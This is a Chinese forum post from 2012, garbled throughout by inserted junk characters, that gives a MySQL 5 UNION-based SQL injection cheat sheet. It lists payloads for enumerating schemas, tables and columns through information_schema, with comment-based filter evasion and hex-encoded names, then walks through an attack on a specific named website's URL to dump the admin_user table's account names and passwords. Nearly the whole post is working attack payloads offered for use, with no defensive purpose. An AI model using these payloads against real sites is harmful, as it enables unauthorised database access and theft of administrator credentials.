查库( {! H; Z9 n- |& t5 P4 L! M, B3 k. ~
/ `; J; j ^; o0 l$ ^id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
1 a+ O$ E0 q# d9 O; C' z! \( w- ^1 F5 c1 B+ \
查表& M9 W2 P" ~) f) o
5 m# @" A1 C3 m9 r* W/ ]
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,11 Z5 r: }2 f0 G7 `4 c! s* B
4 J$ ~ f" F# i) R
查段
; o. V) \2 o H8 _" l! A
2 C$ _/ m0 \: F: j, ^$ iid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
; }* a1 A7 V# l. }) w4 ~7 T1 G, M8 B& k
v2 I5 |* ]: Q! M9 ^; A l! J
mysql5高级注入方法暴表. F9 J7 s$ \4 S3 M0 n
- n3 J& ]. T+ @) c. z
例子如下:. W2 m v9 D% O* H
5 A, V& [5 v K% m0 L1 Z
1.爆表7 k+ g/ w# a8 o! N; s A, a- h
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
$ q/ |1 ^2 c& g这样爆到第4个时出现了admin_user表。- ]1 j% J- d: X
/ E( O5 S+ j" S8 w) E. O
2.暴字段
+ g1 J; z' h% p2 uhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
' p5 {0 k" q* x+ j' j$ N! }5 k- R* `1 E" ^. `2 x
( C5 @( E4 \& k/ i3.爆密码
/ H2 K" h( j: o' P! l3 H: @http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
4 y* `& y# T |; R
$ D, k3 m K: ~3 i- q8 D
+ @6 f/ D A& m2 q/ C: V+ U7 ~/ o |
发表于 2012-9-13 16:29:37
收藏
支持
反对